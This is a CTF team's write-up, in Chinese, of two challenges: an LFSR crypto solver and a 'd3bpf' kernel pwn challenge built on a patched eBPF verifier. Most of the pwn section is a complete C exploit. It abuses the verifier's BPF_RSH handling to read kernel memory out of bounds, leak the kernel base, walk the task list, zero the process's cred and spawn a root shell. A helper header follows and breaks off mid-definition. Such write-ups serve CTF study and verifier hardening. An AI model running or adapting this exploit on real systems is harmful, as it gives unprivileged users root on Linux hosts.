xp0int Posted on Mar 7 2022 ## 1. CRYPTO ### 1.1 d3bug `Author: k1rit0` `lfsr_MyCode`错误的地方会把输入的所有位数都异或一次,因为这个错误会使得每次的输出就是被lfsr舍去的最开头的那位,所以`lfsr_MyCode`的输出就是最开始状态的34位,剩下30位,因为flag都是可打印字符,所以会有3位是一定是0的,最后就剩下27位了,直接爆破20分钟就能拿到flag。 $$ A \oplus a_i = out_i \\ A \oplus out_i = out_{i+1} \\ so \ we \ have\ a_i = out_{i+1} \ and \ a_0 = 0 \ i \in [1,34] $$ ```python from Crypto.Util.number import long_to_bytes,bytes_to_long from tqdm import tqdm mask = 0b1010010000001000000010001001010010100100000010000000100010010100 def lfsr_CopiedfromInternet(R,mask): output = (R << 1) & 0xffffffffffffffff i = (R & mask) & 0xffffffffffffffff lastbit = 0 while i != 0: lastbit ^= (i & 1) i = i>>1 output ^= lastbit return (output,lastbit) res = '01111101111010111000010010111001101' for i1 in tqdm(range(0b110100,0,-1)): for i2 in range(0b100001,0b1111111): for i3 in range(0b100001,0b1111111): for i4 in range(0b100001,0b1111111): _R = '0100110001000110001101010101001001'+bin(i1)[2:].zfill(6) _R += bin(i2)[2:].zfill(8) _R += bin(i3)[2:].zfill(8) _R += bin(i4)[2:].zfill(8) R = int(_R,2) flag = True for i in range(35): (R, out) = lfsr_CopiedfromInternet(R,mask) if str(out) != res[i]: flag = False break if flag: print(long_to_bytes(int(_R,2))) # LF5Rsuk! ``` ## 2. PWN ### 2.1 d3bpf `Author: xf1les` 大体思路参考这篇文章:https://smallkirby.hatenablog.com/entry/2021/01/31/210158 根据 diff 文件,verifier 检查 BPF_RSH 时,如果 shift bit 超过 insn_bitness (31 或者 63)时,直接将结果当作 0 处理。 然而 `-1 >> -1` 的结果是`1`,通过它我们可以绕过 verifier 的一些边界检查。 ``` BPF_MOV64_IMM(BPF_REG_6, -1), // r6 = -1 BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_6), // r6 >> r6,实际结果是 1,而 verifier 认为是 0 // r6 * 0x300 = 0x300,而 verifier 认为是 0 * 0x300 = 0 BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x300), ``` ``` // r8 是指针(长度为0x700) BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x600), BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6), BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6), BPF_ALU64_IMM(BPF_SUB, BPF_REG_8, 0x110), // 由于 verifier 认为BPF_REG_6=0,它认为结果是r8+0x600-r6-r6-0x110=BPF_REG_8+0x600-0x110=r8+0x4f0,没有越界 // 而实际上结果是 r8+0x600-0x300-0x300-0x110=r8-0x110,越界 ``` 首先创建一个 MAP, 通过漏洞泄露 MAP 结构体上的`op`字段,得到`array_map_ops`地址,从而得到 kernelbase。然后通过修改`map->btf`实现任意地址读,从`init_task`开始遍历所有的 task,获取当前 task 的 cred 结构体地址。最后伪造 MAP 的`op` vtable,利用`array_map_get_next_key`将 cred 清零,从而实现提权。 EXP 如下: ``` // musl-gcc -static exp.c -s #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/mman.h> #include <poll.h> #include <pthread.h> #include <errno.h> #include <signal.h> #include <sys/syscall.h> #include <sys/types.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <poll.h> #include <sys/prctl.h> #include <stdint.h> #include <sys/socket.h> #include <sys/shm.h> #include <sys/msg.h> #include <linux/bpf.h> #include "mybpf.h" int control_map, reader_map, writer_map, aar_trigger; #define errExit(msg) do { puts(msg); exit(-1); \ } while (0) //类型转换, 减少warning, 也可以不要 #define ptr_to_u64(x) ((uint64_t)x) //对于系统调用的包装, __NR_bpf就是bpf对应的系统调用号, 一切BPF相关操作都通过这个系统调用与内核交互 int bpf(enum bpf_cmd cmd, union bpf_attr *attr, unsigned int size) { return syscall(__NR_bpf, cmd, attr, size); } //创建一个映射, 参数含义: 映射类型, key所占自己, value所占字节, 最多多少个映射 int bpf_create_map(enum bpf_map_type map_type, unsigned int key_size, unsigned int value_size, unsigned int max_entries) { union bpf_attr attr = { //设置attr指向的对象 .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries }; return bpf(BPF_MAP_CREATE, &attr, sizeof(attr)); //进行系统调用 } //在映射中更新一个键值对 int bpf_update_elem(int fd, const void* key, const void* value, uint64_t flags) { union bpf_attr attr = { .map_fd = fd, .key = ptr_to_u64(key), .value = ptr_to_u64(value), .flags = flags, }; return bpf(BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); } //在映射中根据指针key指向的值搜索对应的值, 把值写入到value指向的内存中 int bpf_lookup_elem(int fd, const void* key, void* value) { union bpf_attr attr = { .map_fd = fd, .key = ptr_to_u64(key), .value = ptr_to_u64(value), }; return bpf(BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); } char buffer[0x1000]; #define FAULT_PAGE ((void*)(0x1337000)) //用于保存BPF验证器的输出日志 #define LOG_BUF_SIZE 0x10000 char bpf_log_buf[LOG_BUF_SIZE]; //通过系统调用, 向内核加载一段BPF指令 int bpf_prog_load(enum bpf_prog_type type, const struct bpf_insn* insns, int insn_cnt, const char* license) { memset(bpf_log_buf, 0, LOG_BUF_SIZE); union bpf_attr attr = { .prog_type = type, //程序类型 .insns = ptr_to_u64(insns), //指向指令数组的指针 .insn_cnt = insn_cnt, //有多少条指令 .license = ptr_to_u64(license), //指向整数字符串的指针 .log_buf = ptr_to_u64(bpf_log_buf), //log输出缓冲区 .log_size = LOG_BUF_SIZE, //log缓冲区大小 .log_level = 2, //log等级 }; int fd = bpf(BPF_PROG_LOAD, &attr, sizeof(attr)); //~ printf("%s\n", bpf_log_buf); if(fd<0){ perror("BPF load prog"); exit(-1); } int socks[2]; if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) perror("socketpair1"); if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &fd, sizeof(int))) perror("socketpair2"); return socks[1]; } void trigger_proc(int sockfd) { if (write(sockfd, "X", 1) != 1){ perror("write"); exit(-1); } } unsigned long aar32(unsigned long _target) { _target -= 0x58; int key = 2; unsigned long t = _target; if(bpf_update_elem(control_map, &key, &t, BPF_ANY)<0){ perror("BPF update error"); exit(-1); } trigger_proc(aar_trigger); // read it struct bpf_map_info leaker; union bpf_attr myattr = { .info.bpf_fd = reader_map, .info.info_len = sizeof(leaker), .info.info = ptr_to_u64(&leaker), }; bpf(BPF_OBJ_GET_INFO_BY_FD, &myattr, sizeof(myattr)); return leaker.btf_id; } unsigned long aar64(unsigned long _target){ unsigned long lower = aar32(_target); unsigned long higher = aar32(_target + 4) << 32; return higher + lower; } unsigned long aaw32zero(unsigned long _target, unsigned int val, unsigned long read_map_addr) { const unsigned long target = _target; const struct bpf_insn aaw_insns[] = { /* get cmap[0] */ BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 0) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = cmap[0] (==0) BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), /* get cmap[3] == writer map addr */ BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 3), // qword[r2] = 2 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 2) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_0, 0), // r9 = cmap[3] (==target addr) /* get &writermap */ BPF_LD_MAP_FD(BPF_REG_1, reader_map), // r1 = wmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(rmap, 0) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = wmap[0] /* exploit r1 range */ BPF_MOV64_IMM(BPF_REG_6, -1), BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_6), BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x300), /* */ /* make point R8 to target */ BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x600), BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6), BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6), // r8 == &wmap[0] now BPF_ALU64_IMM(BPF_SUB, BPF_REG_8, 0x110), // r8 == &wmap.map_ops /* overwrite map_ops */ BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 0), /* overwrite spin_lock_off to 0 */ BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 44), // r8 == &wmap.map.spin_lock_off BPF_ST_MEM(BPF_W, BPF_REG_8, 0, 0), /* overwrite map_type to BPF_MAP_TYPE_STACK */ BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, -44 + 24), // r8 == &wmap.map.map_type BPF_ST_MEM(BPF_W, BPF_REG_8, 0, 23), /* oeverwrite map.max_entries to 0 */ BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 12), // r8 == &wmap.map.max_entries BPF_ST_MEM(BPF_W, BPF_REG_8, 0, 0), /* Go home */ BPF_MOV64_IMM(BPF_REG_0, 0), // r0 = 0 BPF_EXIT_INSN() }; int aaw_trigger = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, aaw_insns, sizeof(aaw_insns)/sizeof(aaw_insns[0]), "GPL"); // overwrite target bpf_map.btf int jey; jey = 2; if(bpf_update_elem(control_map, &jey, &target, BPF_ANY)<0){ perror("BPF update error"); exit(-1); } jey = 3; if(bpf_update_elem(control_map, &jey, &read_map_addr, BPF_ANY)<0){ perror("BPF update error"); exit(-1); } trigger_proc(aaw_trigger); // overwrite const unsigned long key = 10; const unsigned long value = 0; // not used union bpf_attr myattr = { .map_fd = reader_map, .key = ptr_to_u64(&key), .value = ptr_to_u64(&value), .flags = target, }; bpf(BPF_MAP_UPDATE_ELEM, &myattr, sizeof(myattr)); } int main(void){ int key; unsigned long value; control_map = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(key), 0x8, 10); reader_map = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(key), 0x700, 1); writer_map = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(key), 0x700, 1); printf("map_fd: %d %d %d\n", control_map, reader_map, writer_map); const struct bpf_insn reader_insns[] = { /* get cmap[3] == writer map addr */ BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 2) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), /* get readermap[0] */ BPF_LD_MAP_FD(BPF_REG_1, reader_map), // r1 = cmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(rmap, 0) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = &rmap[0] /* get readermap[0] */ BPF_LD_MAP_FD(BPF_REG_1, reader_map), // r1 = cmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(rmap, 0) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = &rmap[0] /* exploit r1 range */ BPF_MOV64_IMM(BPF_REG_6, -1), BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_6), BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x300), /* */ BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x600), BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6), BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6), // r8 == &rmap[0] now BPF_ALU64_IMM(BPF_SUB, BPF_REG_8, 0x110), // leak array_map_ops BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_8, 0), BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_3, 0), // cmap[0] = array_map_ops /* Go home */ BPF_MOV64_IMM(BPF_REG_0, 0), // r0 = 0 BPF_EXIT_INSN() }; int prog_fd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, reader_insns, sizeof(reader_insns)/sizeof(reader_insns[0]), "GPL"); trigger_proc(prog_fd); key = 0; if(bpf_lookup_elem(control_map, &key, &value)<0){ perror("BPF lookup error"); exit(-1); } printf("key: %d => value: %lx\n", key, value); //~ const unsigned long kernbase = value - 0x2219240; //~ const unsigned long _init_task = kernbase + 0x2614940; //~ const unsigned long addr_map_ops = kernbase + 0x2219240; // remote const unsigned long kernbase = value - 0x10363a0; const unsigned long _init_task = kernbase + 0x1a1a940; const unsigned long addr_map_ops = kernbase + 0x10363a0; printf("[+] kernbase: %llx\n", kernbase); printf("[+] init_task: %llx\n", _init_task); // prepare AAR const struct bpf_insn aar_insns[] = { /* get cmap[2] */ BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 2), // qword[r2] = 2 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 2) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_0, 0), // r9 = cmap[2] (==target addr) /* get readermap[0] */ BPF_LD_MAP_FD(BPF_REG_1, reader_map), // r1 = cmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(rmap, 0) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = &rmap[0] /* exploit r1 range */ BPF_MOV64_IMM(BPF_REG_6, -1), BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_6), BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x300), /* make point R8 to target */ BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x600), BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6), BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6), // r8 == &rmap[0] now BPF_ALU64_IMM(BPF_SUB, BPF_REG_8, 0xd0), // r8 == &map.btf /* overwrite bpf_map.btf */ BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 0), /* Go home */ BPF_MOV64_IMM(BPF_REG_0, 0), // r0 = 0 BPF_EXIT_INSN() }; aar_trigger = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, aar_insns, sizeof(aar_insns)/sizeof(aar_insns[0]), "GPL"); unsigned long cur_task = _init_task; pid_t cur_pid; pid_t mypid = getpid(); for(int ix=0; ix!=0x10; ++ix){ printf("[.] searching %llx for pid %d... ", cur_task, mypid); cur_pid = aar32(cur_task + 2328); if(cur_pid == mypid){ printf("\n[!] pid found\n"); printf("[!] my task @ %llx\n", cur_task); break; }else{ printf(" not found (pid is %d)\n", cur_pid); } cur_task = aar64(cur_task + 2072+8) - 2072; } const unsigned long long mycred = aar64(cur_task + 2776); printf("[!] my cred @ %llx\n", mycred); getchar(); const struct bpf_insn leak_wm_insns[] = { BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 2) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), /* get readermap[0] */ BPF_LD_MAP_FD(BPF_REG_1, reader_map), // r1 = cmap BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(rmap, 0) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0 BPF_EXIT_INSN(), BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = &rmap[0] /* exploit r1 range */ BPF_MOV64_IMM(BPF_REG_6, -1), BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_6), BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x300), /* */ BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x600), BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6), BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6), // r8 == &rmap[0] now BPF_ALU64_IMM(BPF_SUB, BPF_REG_8, 0x110-0xc0), // leak array_map_ops BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_8, 0), BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_3, 0), // cmap[0] = array_map_ops /* Go home */ BPF_MOV64_IMM(BPF_REG_0, 0), // r0 = 0 BPF_EXIT_INSN() }; int wm_fd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, leak_wm_insns, sizeof(leak_wm_insns)/sizeof(leak_wm_insns[0]), "GPL"); trigger_proc(wm_fd); key = 0; if(bpf_lookup_elem(control_map, &key, &value)<0){ perror("BPF lookup error"); exit(-1); } const unsigned long reader_map_addr = value+0x50; printf("[!] reader_map @ %llx\n", reader_map_addr); getchar(); printf("[+] copying/overwriting map_ops...\n"); char *copied_map = calloc(0x700, 1); unsigned long *maps = (unsigned long *)copied_map; // copy map_ops for(int ix=0; ix!=21; ++ix){ unsigned long val = aar64(addr_map_ops + 8*ix); maps[ix] = val; } // overwrite map_push_elem with map_get_next_key maps[0xe] = maps[4]; // load key = 0; if(bpf_update_elem(reader_map, &key, copied_map, BPF_ANY)<0){ perror("BPF update error"); exit(-1); } printf("GOING...\n"); getchar(); aaw32zero(mycred + 4, 0, reader_map_addr); printf("[!] OVERWROTE UID\n"); setresuid(0, 0, 0); char *argv[] = {"/bin/sh",NULL}; char *envp[] = {NULL}; execve("/bin/sh",argv,envp); } ``` ``` // FILE: mybpf.h /* ArgX, context and stack frame pointer register positions. Note, * Arg1, Arg2, Arg3, etc are used as argument mappings of function * calls in BPF_CALL instruction. */ #define BPF_REG_ARG1 BPF_REG_1 #define BPF_REG_ARG2 BPF_REG_2 #define BPF_REG_ARG3 BPF_REG_3 #define BPF_REG_ARG4 BPF_REG_4 #define BPF_REG_ARG5 BPF_REG_5 #define BPF_REG_CTX BPF_REG_6 #define BPF_REG_FP BPF_REG_10 /* Additional register mappings for converted user programs. */ #define BPF_REG_A BPF_REG_0 #define BPF_REG_X BPF_REG_7 #define BPF_REG_TMP BPF_REG_2 /* scratch reg */ #define BPF_REG_D BPF_REG_8 /* data, callee-saved */ #define BPF_REG_H BPF_REG_9 /* hlen, callee-saved */ /* Kernel hidden auxiliary/helper register. */ #define BPF_REG_AX MAX_BPF_REG #define MAX_BPF_EXT_REG (MAX_BPF_REG + 1) #define MAX_BPF_JIT_REG MAX_BPF_EXT_REG /* unused opcode to mark special call to bpf_tail_call() helper */ #define BPF_TAIL_CALL 0xf0 /* unused opcode to mark special load instruction. Same as BPF_ABS */ #define BPF_PROBE_MEM 0x20 /* unused opcode to mark call to interpreter with arguments */ #define BPF_CALL_ARGS 0xe0 /* As per nm, we expose JITed images as text (code) section for * kallsyms. That way, tools like perf can find it to match * addresses. */ #define BPF_SYM_ELF_TYPE 't' /* BPF program can access up to 512 bytes of stack space. */ #define MAX_BPF_STACK 512 /* Helper macros for filter block array initializers. */ /* ALU ops on registers, bpf_add|sub|...: dst_reg += src_reg */ #define BPF_ALU64_REG(OP, DST, SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 }) #define BPF_ALU32_REG(OP, DST, SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 }) /* ALU ops on immediates, bpf_add|sub|...: dst_reg += imm32 */ #define BPF_ALU64_IMM(OP, DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) #define BPF_ALU32_IMM(OP, DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) /* Endianess conversion, cpu_to_{l,b}e(), {l,b}e_to_cpu() */ #define BPF_ENDIAN(TYPE, DST, LEN) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_END | BPF_SRC(TYPE), \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = LEN }) /* Short form of mov, dst_reg = src_reg */ #define BPF_MOV64_REG(DST, SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_MOV | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 }) #define BPF_MOV32_REG(DST, SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_MOV | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 }) /* Short form of mov, dst_reg = imm32 */ #define BPF_MOV64_IMM(DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_MOV | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) #define BPF_MOV32_IMM(DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_MOV | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) /* Special form of mov32, used for doing explicit zero extension on dst. */ #define BPF_ZEXT_REG(DST) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_MOV | BPF_X, \ .dst_reg = DST, \ .src_reg = DST, \ .off = 0, \ .imm = 1 }) /* BPF_LD_IMM64 macro encodes single 'load 64-bit immediate' insn */ #define BPF_LD_IMM64(DST, IMM) \ BPF_LD_IMM64_RAW(DST, 0, IMM) #define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ ((struct bpf_insn) { \ .code = BPF_LD | BPF_DW | BPF_IMM, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = (__u32) (IMM) }), \ ((struct bpf_insn) { \ .code = 0, /* zero is reserved opcode */ \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = ((__u64) (IMM)) >> 32 }) /* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */ #define BPF_LD_MAP_FD(DST, MAP_FD) \ BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) /* Short form of mov based on type, BPF_X: dst_reg = src_reg, BPF_K: dst_reg = imm32 */ #define BPF_MOV64_RAW(TYPE, DST, SRC, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_MOV | BPF_SRC(TYPE), \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = IMM }) #define BPF_MOV32_RAW(TYPE, DST, SRC, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_MOV | BPF_SRC(TYPE), \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = IMM }) /* Direct packet access, R0 = *(uint *) (skb->data + imm32) */ #define BPF_LD_ABS(SIZE, IMM) \ ((struct bpf_insn) { \ .code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) /* Indirect packet access, R0 = *(uint *) (skb->data + src_reg + imm32) */ #define BPF_LD_IND(SIZE, SRC, IMM) \ ((struct bpf_insn) { \ .code = BPF_LD | BPF_SIZE(SIZE) | BPF_IND, \ .dst_reg = 0, \ .src_reg = SRC, \ .off = 0, \ .imm = IMM }) /* Memory load, dst_reg = *(uint *) (src_reg + off16) */ #define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ ((struct bpf_insn) { \ .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) /* Memory store, *(uint *) (dst_reg + off16) = src_reg */ #define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ ((struct bpf_insn) { \ .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) /* Atomic memory add, *(uint *)(dst_reg + off16) += src_reg */ #define BPF_STX_XADD(SIZE, DST, SRC, OFF) \ ((struct bpf_insn) { \ .code = BPF_STX | BPF_SIZE(SIZE) | BPF_XADD, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) /* Memory store, *(uint *) (dst_reg + off16) = imm32 */ #define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ ((struct bpf_insn) { \ .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM }) /* Conditional jumps against registers, if (dst_reg 'op' src_reg) goto pc + off16 */ #define BPF_JMP_REG(OP, DST, SRC, OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) /* Conditional jumps against immediates, if (dst_reg 'op' imm32) goto pc + off16 */ #define BPF_JMP_IMM(OP, DST, IMM, OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM }) /* Like BPF_JMP_REG, but with 32-bit wide operands for comparison. */ #define BPF_JMP32_REG(OP, DST, SRC, OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP32 | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) /* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */ #define 